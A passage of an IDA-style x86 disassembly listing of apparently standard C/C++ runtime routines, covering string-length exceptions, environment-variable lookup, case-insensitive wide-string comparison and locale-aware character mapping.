ecx jz short loc_42632B push [ebp+arg_0] push esi call sub_41BEB0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi nop call near ptr 25C106Ch push esi call sub_41B0B1 pop ecx loc_42632B: ; CODE XREF: sub_4261AB+6Ej ; sub_4261AB+104j ... xor eax, eax jmp loc_426212 sub_4261AB endp ; =============== S U B R O U T I N E ======================================= sub_426332 proc near ; CODE XREF: sub_4261AB+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4DB2D0 push edi mov eax, [esi] test eax, eax jz short loc_42636D mov edi, [esp+8+arg_4] loc_426344: ; CODE XREF: sub_426332+39j push edi push eax push [esp+10h+arg_0] call sub_425E56 add esp, 0Ch test eax, eax jnz short loc_426363 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_42637D test al, al jz short loc_42637D loc_426363: ; CODE XREF: sub_426332+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_426344 loc_42636D: ; CODE XREF: sub_426332+Cj mov eax, esi sub eax, dword_4DB2D0 sar eax, 2 neg eax loc_42637A: ; CODE XREF: sub_426332+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42637D: ; CODE XREF: sub_426332+2Bj ; sub_426332+2Fj mov eax, esi sub eax, dword_4DB2D0 sar eax, 2 jmp short loc_42637A sub_426332 endp ; =============== S U B R O U T I N E ======================================= sub_42638A proc near ; CODE XREF: sub_4261AB+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_426399 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_426399: ; CODE XREF: sub_42638A+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_4263AB loc_4263A1: ; CODE XREF: sub_42638A+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_4263A1 loc_4263AB: ; CODE XREF: sub_42638A+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4263CC push 9 call sub_41DA29 pop ecx loc_4263CC: ; CODE XREF: sub_42638A+38j mov eax, [edi] mov ebx, edi loc_4263D0: ; CODE XREF: sub_42638A+5Bj test eax, eax jz short loc_4263E7 push eax add ebx, 4 call sub_426464 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4263D0 ; --------------------------------------------------------------------------- loc_4263E7: ; CODE XREF: sub_42638A+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_42638A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263F1 proc near ; CODE XREF: sub_4261AB+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4DC71C, 0 jnz short loc_42640C push [ebp+arg_4] push [ebp+arg_0] call sub_41BFB0 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_42640C: ; CODE XREF: sub_4263F1+Aj mov ecx, [ebp+arg_0] loc_42640F: ; CODE XREF: sub_4263F1+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_426452 movzx edx, al test byte_4DC821[edx], 4 jz short loc_42643E mov dl, [ecx+1] inc ecx test dl, dl jz short loc_426449 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_42644D jmp short loc_426446 ; --------------------------------------------------------------------------- loc_42643E: ; CODE XREF: sub_4263F1+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_426452 loc_426446: ; CODE XREF: sub_4263F1+4Bj inc ecx jmp short loc_42640F ; --------------------------------------------------------------------------- loc_426449: ; CODE XREF: sub_4263F1+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42644D: ; CODE XREF: sub_4263F1+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_426452: ; CODE XREF: sub_4263F1+25j ; sub_4263F1+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4263F1 endp ; =============== S U B R O U T I N E ======================================= sub_426464 proc near ; CODE XREF: sub_417EEE+21p ; sub_42638A+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42648B push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 pop ecx test eax, eax pop ecx jz short loc_42648B push esi push eax call sub_41BEB0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42648B: ; CODE XREF: sub_426464+7j ; sub_426464+1Aj xor eax, eax pop esi retn sub_426464 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: sub_426573+19p ; sub_42669A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41AFE0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D6EF mov eax, esi pop esi retn 8 sub_426490 endp ; =============== S U B R O U T I N E ======================================= sub_4264BA proc near ; CODE XREF: ___:004264E5p ; sub_426568+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_40D6B3 mov ecx, esi pop esi jmp sub_4268B6 sub_4264BA endp ; =============== S U B R O U T I N E ======================================= sub_4264D5 proc near ; DATA XREF: ___:00427D10o ; ___:00427D20o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4264E1 mov eax, offset dword_4276A8 locret_4264E1: ; CODE XREF: sub_4264D5+5j retn sub_4264D5 endp ; --------------------------------------------------------------------------- loc_4264E2: ; DATA XREF: ___:off_427D0Co push esi mov esi, ecx call sub_4264BA test byte ptr [esp+8], 1 jz short loc_4264F8 push esi call sub_41CC83 pop ecx loc_4264F8: ; CODE XREF: ___:004264EFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4264FE proc near ; CODE XREF: sub_426573+29p mov eax, offset loc_426E32 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4264FE endp ; =============== S U B R O U T I N E ======================================= sub_42654C proc near ; DATA XREF: ___:off_427D1Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426568 test [esp+4+arg_0], 1 jz short loc_426562 push esi call sub_41CC83 pop ecx loc_426562: ; CODE XREF: sub_42654C+Dj mov eax, esi pop esi retn 4 sub_42654C endp ; =============== S U B R O U T I N E ======================================= sub_426568 proc near ; CODE XREF: sub_42654C+3p ; DATA XREF: ___:00428094o mov dword ptr [ecx], offset off_427D1C jmp sub_4264BA sub_426568 endp ; =============== S U B R O U T I N E ======================================= sub_426573 proc near ; CODE XREF: sub_40D560+13p ; sub_40D724+Ep mov eax, offset loc_426E44 call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4264FE push offset dword_428090 lea eax, [ebp-3Ch] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_426573 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p ; sub_4265D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D560 mov eax, esi pop esi retn 4 sub_4265B0 endp ; =============== S U B R O U T I N E ======================================= sub_4265D0 proc near ; CODE XREF: sub_42669A+29p mov eax, offset loc_426E56 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4265D0 endp ; =============== S U B R O U T I N E ======================================= sub_426618 proc near ; CODE XREF: sub_426682+7p ; sub_4266DE+7p ... mov eax, offset loc_426E68 call sub_41CC64 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42686C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426618 endp ; =============== S U B R O U T I N E ======================================= sub_42665B proc near ; DATA XREF: ___:off_427D48o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426677 test [esp+4+arg_0], 1 jz short loc_426671 push esi call sub_41CC83 pop ecx loc_426671: ; CODE XREF: sub_42665B+Dj mov eax, esi pop esi retn 4 sub_42665B endp ; =============== S U B R O U T I N E ======================================= sub_426677 proc near ; CODE XREF: sub_42665B+3p ; DATA XREF: ___:0042813Co mov dword ptr [ecx], offset off_427D48 jmp sub_4264BA sub_426677 endp ; =============== S U B R O U T I N E ======================================= sub_426682 proc near ; CODE XREF: sub_4266F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi retn 4 sub_426682 endp ; =============== S U B R O U T I N E ======================================= sub_42669A proc near ; CODE XREF: sub_40D4B0+15p ; sub_40D509+15p ... mov eax, offset loc_426E7A call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4265D0 push offset dword_428138 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427D48 call sub_4268D9 int 3 ; Trap to Debugger sub_42669A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4266DE proc near ; CODE XREF: sub_4266F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D48 mov eax, esi pop esi retn 4 sub_4266DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4266F6 proc near ; DATA XREF: ___:00427D14o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426618 push offset dword_428178 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426714: ; DATA XREF: ___:00427D50o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4266DE push offset dword_428138 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426732: ; DATA XREF: ___:00427D24o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426682 push offset dword_428090 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_4266F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_426750 proc near jmp near ptr 71B2ACCBh sub_426750 endp ; --------------------------------------------------------------------------- db 11h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426756 proc near ; CODE XREF: sub_40CE40+5Ep ; ___:00414BE5p ... nop jmp near ptr 71AB1B7Bh sub_426756 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42675C proc near ; CODE XREF: sub_41C8D0+23p ; sub_41CB74+13p nop jmp near ptr 2870000h sub_42675C endp ; =============== S U B R O U T I N E ======================================= sub_426762 proc near ; CODE XREF: sub_417275+E2p ; sub_417275+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DB364, 0 push ebx jnz short loc_4267A8 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_426774: ; CODE XREF: sub_426762+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426786 cmp bx, 41h jb short loc_426786 add ebx, 20h loc_426786: ; CODE XREF: sub_426762+19j ; sub_426762+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_426798 cmp ax, 41h jb short loc_426798 add eax, 20h loc_426798: ; CODE XREF: sub_426762+2Bj ; sub_426762+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_4267D8 cmp bx, ax jz short loc_426774 jmp short loc_4267D8 ; --------------------------------------------------------------------------- loc_4267A8: ; CODE XREF: sub_426762+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_4267B2: ; CODE XREF: sub_426762+72j mov ax, [esi] inc esi push eax inc esi call sub_426913 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_426913 pop ecx test bx, bx pop ecx jz short loc_4267D6 cmp bx, ax jz short loc_4267B2 loc_4267D6: ; CODE XREF: sub_426762+6Dj pop edi pop esi loc_4267D8: ; CODE XREF: sub_426762+3Dj ; sub_426762+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_426762 endp ; =============== S U B R O U T I N E ======================================= sub_4267E2 proc near ; CODE XREF: ___:004267FAp mov dword ptr [ecx], offset off_427D68 mov ecx, [ecx+4] test ecx, ecx jz short locret_4267F6 push ecx call sub_41B0B1 pop ecx locret_4267F6: ; CODE XREF: sub_4267E2+Bj retn sub_4267E2 endp ; --------------------------------------------------------------------------- loc_4267F7: ; DATA XREF: ___:off_427D68o push esi mov esi, ecx call sub_4267E2 test byte ptr [esp+8], 1 jz short loc_42680D push esi call sub_41CC83 pop ecx loc_42680D: ; CODE XREF: ___:00426804j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_426813: ; DATA XREF: ___:off_427D70o push esi mov esi, ecx call sub_4268B6 test byte ptr [esp+8], 1 jz short loc_426829 push esi call sub_41CC83 pop ecx loc_426829: ; CODE XREF: ___:00426820j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_42682F proc near ; CODE XREF: sub_4264FE+1Dp ; sub_4265D0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 push dword ptr [edi] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42685E push dword ptr [edi] push eax call sub_41BEB0 pop ecx pop ecx loc_42685E: ; CODE XREF: sub_42682F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_42682F endp ; =============== S U B R O U T I N E ======================================= sub_42686C proc near ; CODE XREF: sub_426618+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_4268A9 push dword ptr [edi+4] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4268AF push dword ptr [edi+4] push eax call sub_41BEB0 pop ecx pop ecx jmp short loc_4268AF ; --------------------------------------------------------------------------- loc_4268A9: ; CODE XREF: sub_42686C+16j mov eax, [edi+4] mov [esi+4], eax loc_4268AF: ; CODE XREF: sub_42686C+2Ej ; sub_42686C+3Bj mov eax, esi pop edi pop esi retn 4 sub_42686C endp ; =============== S U B R O U T I N E ======================================= sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j ; ___:00426816p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427D70 jz short locret_4268CB push dword ptr [ecx+4] call sub_41CC83 pop ecx locret_4268CB: ; CODE XREF: sub_4268B6+Aj retn sub_4268B6 endp ; =============== S U B R O U T I N E ======================================= sub_4268CC proc near ; DATA XREF: ___:00427D74o mov eax, [ecx+4] test eax, eax jnz short locret_4268D8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_4268D8: ; CODE XREF: sub_4268CC+5j retn sub_4268CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268D9 proc near ; CODE XREF: sub_426573+37p ; sub_42669A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D90 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 26503B5h pop edi pop esi leave retn 8 sub_4268D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426913 proc near ; CODE XREF: sub_426762+56p ; sub_426762+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_426925 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_426925: ; CODE XREF: sub_426913+Bj cmp dword_4DB364, 0 jnz short loc_42693F cmp ax, 41h jb short locret_426986 cmp ax, 5Ah ja short locret_426986 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_42693F: ; CODE XREF: sub_426913+19j cmp ax, 100h jnb short loc_426959 push 1 push eax call sub_426BC1 pop ecx test eax, eax pop ecx jnz short loc_426959 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426959: ; CODE XREF: sub_426913+30j ; sub_426913+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DB364 call sub_426988 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426986 mov ax, [ebp+var_2] locret_426986: ; CODE XREF: sub_426913+1Fj ; sub_426913+25j ... leave retn sub_426913 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426988 proc near ; CODE XREF: sub_426913+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DB0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DB5BC, esi jnz short loc_4269FE push esi push esi push 1 pop ebx push ebx push offset dword_427940 mov edi, 100h push edi push esi call near ptr 2630000h nop test eax, eax jz short loc_4269DC mov dword_4DB5BC, ebx jmp short loc_4269FE ; --------------------------------------------------------------------------- loc_4269DC: ; CODE XREF: sub_426988+4Aj push esi push esi push ebx push offset dword_4CAE5C push edi push esi nop call near ptr 2640000h test eax, eax jz loc_426B7D mov dword_4DB5BC, 2 loc_4269FE: ; CODE XREF: sub_426988+2Ej ; sub_426988+52j cmp [ebp+arg_C], esi jle short loc_426A13 push [ebp+arg_C] push [ebp+arg_8] call sub_426B91 pop ecx pop ecx mov [ebp+arg_C], eax loc_426A13: ; CODE XREF: sub_426988+79j mov eax, dword_4DB5BC cmp eax, 1 jnz short loc_426A3A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2630000h jmp loc_426B7F ; --------------------------------------------------------------------------- loc_426A3A: ; CODE XREF: sub_426988+93j cmp eax, 2 jnz loc_426B7D cmp [ebp+arg_18], esi jnz short loc_426A50 mov eax, dword_4DB374 mov [ebp+arg_18], eax loc_426A50: ; CODE XREF: sub_426988+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 2820000h mov [ebp+var_20], eax cmp eax, esi jz loc_426B7D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_426A96 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_426A96: ; CODE XREF: sub_426988+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 2820000h test eax, eax jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_426B7D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_426B19 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_426B19: ; CODE XREF: sub_426988+17Dj cmp ebx, esi jz short loc_426B7D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2640000h nop test eax, eax jz short loc_426B7D test byte ptr [ebp+arg_4+1], 4 jz short loc_426B57 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426B79 cmp eax, edi jl short loc_426B48 mov eax, edi loc_426B48: ; CODE XREF: sub_426988+1BCj push eax push ebx push [ebp+arg_10] call sub_41B5F0 add esp, 0Ch jmp short loc_426B79 ; --------------------------------------------------------------------------- loc_426B57: ; CODE XREF: sub_426988+1B1j cmp [ebp+arg_14], esi jnz short loc_426B60 push esi push esi jmp short loc_426B66 ; --------------------------------------------------------------------------- loc_426B60: ; CODE XREF: sub_426988+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426B66: ; CODE XREF: sub_426988+1D6j push edi push ebx push 1 push [ebp+arg_18] nop call near ptr 2830000h mov edi, eax cmp edi, esi jz short loc_426B7D loc_426B79: ; CODE XREF: sub_426988+1B8j ; sub_426988+1CDj mov eax, edi jmp short loc_426B7F ; --------------------------------------------------------------------------- loc_426B7D: ; CODE XREF: sub_426988+66j ; sub_426988+B5j ... xor eax, eax loc_426B7F: ; CODE XREF: sub_426988+ADj ; sub_426988+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426988 endp ; =============== S U B R O U T I N E ======================================= sub_426B91 proc near ; CODE XREF: sub_426988+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426BB0 loc_426BA1: ; CODE XREF: sub_426B91+1Dj cmp word ptr [eax], 0 jz short loc_426BB0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_426BA1 loc_426BB0: ; CODE XREF: sub_426B91+Ej ; sub_426B91+14j cmp word ptr [eax], 0 pop esi jnz short loc_426BBE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_426BBE: ; CODE XREF: sub_426B91+24j mov eax, edx retn sub_426B91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426BC1 proc near ; CODE XREF: sub_426913+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_426C01 cmp [ebp+arg_0], 100h jnb short loc_426BE5 movzx eax, [ebp+arg_0] mov ecx, off_43C32C mov ax, [ecx+eax*2] jmp short loc_426C08 ; --------------------------------------------------------------------------- loc_426BE5: ; CODE XREF: sub_426BC1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_426C13 add esp, 18h test eax, eax jnz short loc_426C05 loc_426C01: ; CODE XREF: sub_426BC1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_426C05: ; CODE XREF: sub_426BC1+3Ej mov eax, [ebp+var_4] loc_426C08: ; CODE XREF: sub_426BC1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_426BC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426C13 proc near ; CODE XREF: sub_426BC1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DC8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB5C0 xor edi, edi cmp eax, edi jnz short loc_426C82 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi nop call near ptr 25F0000h test eax, eax jz short loc_426C60 mov eax, esi jmp short loc_426C7D ; --------------------------------------------------------------------------- loc_426C60: ; CODE XREF: sub_426C13+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE5C push esi push edi nop call near ptr 2600000h test eax, eax jz loc_426DC4 push 2 pop eax loc_426C7D: ; CODE XREF: sub_426C13+4Bj mov dword_4DB5C0, eax loc_426C82: ; CODE XREF: sub_426C13+2Fj cmp eax, 1 jnz short loc_426C9E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 25F0000h nop jmp loc_426DC6 ; --------------------------------------------------------------------------- loc_426C9E: ; CODE XREF: sub_426C13+72j cmp eax, 2 jnz loc_426DC4 cmp [ebp+arg_10], edi jnz short loc_426CB4 mov eax, dword_4DB374 mov [ebp+arg_10], eax loc_426CB4: ; CODE XREF: sub_426C13+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2820000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426DC4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41B590 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_426D12 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_426D12: ; CODE XREF: sub_426C13+EAj cmp [ebp+var_2C], edi jz loc_426DC4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2820000h test eax, eax jz loc_426DC4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426D67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426D67: ; CODE XREF: sub_426C13+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426DC4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426D7B mov eax, dword_4DB364 loc_426D7B: ; CODE XREF: sub_426C13+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax nop call near ptr 2600000h mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426DC4 cmp word ptr [esi], 0FFFFh jnz short loc_426DC4 push edi push ebx push [ebp+arg_C] call sub_41CC90 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426DC6 ; --------------------------------------------------------------------------- loc_426DC4: ; CODE XREF: sub_426C13+61j ; sub_426C13+8Ej ... xor eax, eax loc_426DC6: ; CODE XREF: sub_426C13+86j ; sub_426C13+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426C13 endp ; =============== S U B R O U T I N E ======================================= sub_426DD8 proc near ; DATA XREF: ___:00427F7Co ; FUNCTION CHUNK AT 0040D4A8 